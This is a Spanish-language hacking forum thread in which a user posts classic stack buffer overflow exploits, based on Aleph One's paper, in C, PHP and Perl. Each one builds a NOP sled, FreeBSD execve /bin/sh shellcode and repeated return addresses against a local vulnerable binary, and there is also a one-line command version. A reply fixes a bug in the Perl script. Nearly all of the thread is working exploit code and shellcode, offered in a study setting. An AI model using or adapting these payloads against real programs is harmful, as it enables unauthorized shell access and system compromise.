elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 12:05  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploits genericos en distintos lenguajes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploits genericos en distintos lenguajes  (Leído 1,894 veces)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Exploits genericos en distintos lenguajes
« en: 18 Febrero 2010, 09:15 »

Bueno esto va para tratar algunas cosas que me han pedido.

Bueno me imagino que todos conocen el exploit para propósitos generales publicado en el articulo
Smashing The Stack For Fun And Profit

Código
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90
 
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
 
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}
 
int main(int argc, char *argv[]) {
 char *buff, *ptr;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i;
 
 if (argc > 1) bsize  = atoi(argv[1]);
 if (argc > 2) offset = atoi(argv[2]);
 
 if (!(buff = malloc(bsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }
 
 addr = get_sp() - offset;
 printf("Using address: 0x%x\n", addr);
 
 ptr = buff;
 addr_ptr = (long *) ptr;
 for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;
 
 for (i = 0; i < bsize/2; i++)
   buff[i] = NOP;
 
 ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
 for (i = 0; i < strlen(shellcode); i++)
   *(ptr++) = shellcode[i];
 
 buff[bsize - 1] = '\0';
 argv[0] = "/usr/home/Anon/vuln";
 argv[1] =  buff;
 execv(argv[0],argv);
}
 

El shellcode es para FreeBSD, también agregue que mande a ejecutar directamente el programa vulnerable.

Ahora en PHP

Código
<?php
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";
$ret = "\x6c\xea\xbf\xbf";
$len = strlen($shellcode);
$size = 1040;
$nops = str_repeat("\x90",$size/2 - $len);
$rets = str_repeat($ret,$size/8);
printf('%s%s%s',$nops,$shellcode,$rets);
?>
 

Ahora en perl

Código
my $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";
my $len = length $shellcode;
my $size = 1040;
my $nops = "\x90" x (($size/2) - $len);
my %rets = "\x6c\xea\xbf\xbf" x ($size/8);
print $nops;
print $shellcode;
print $rets;
 

El de perl y la mayoria en los que se pueda ingresar las instrucciones desde la linea de comandos se hacer en una sola linea, solo que haces los calculos a mano e.j
Código:
./vuln `perl -e '{ print"\x90"x495;print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80";print"\x60\xea\xbf\xbf"x130}'`

Al final dejo una imagen de este ultimo comando

Este ultimo de perl la primera vez que lo probé si me funciono, pero no recuerdo que le moví, y ya no esta funcionando. Alguien lo puede revisar que a mi me parece que esta todo bien

Para esos últimos el ESP lo tienes que sacar a mano y sumarle o restarle alguna cantidad de bytes, el ESP lo puedes conseguir con solo esta porción de código:

Código
#include <stdio.h>
 
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}
 
int main(int argc, char *argv[]) {
unsigned long esp = get_sp();
printf("0x%x\n",esp);
return 0;
}
 

Aqui dejo la imagen:


El primero es el clásico de Aleph One, solo que algo modificado como se explico arriba

El segundo es la misma versión en PHP, y si hacen funcionar el de Perl, también funcionara así:


Si alguien quiere hacerlos en Ruby, Python u otro es libre de colocar el código

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Exploits genericos en distintos lenguajes
« Respuesta #1 en: 18 Febrero 2010, 13:55 »

Che que buena onda, en los lenguajes principales :). Se podria desarrollar un lenguaje general que genere esos codigos, no estaria nada mal. Onda le pones
Código:
NOPx10;
SHELLCODE;
RETx20;
Y te genera el codigo hexa listo para copiar y pegar. Y acomodado para C, perl o cualquier lenguaje que se le especifique. Seria interesante desde el punto de vista de estudio de exploits.

Este ultimo de perl la primera vez que lo probé si me funciono, pero no recuerdo que le moví, y ya no esta funcionando. Alguien lo puede revisar que a mi me parece que esta todo bien
Código:
my %rets --> my $rets
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines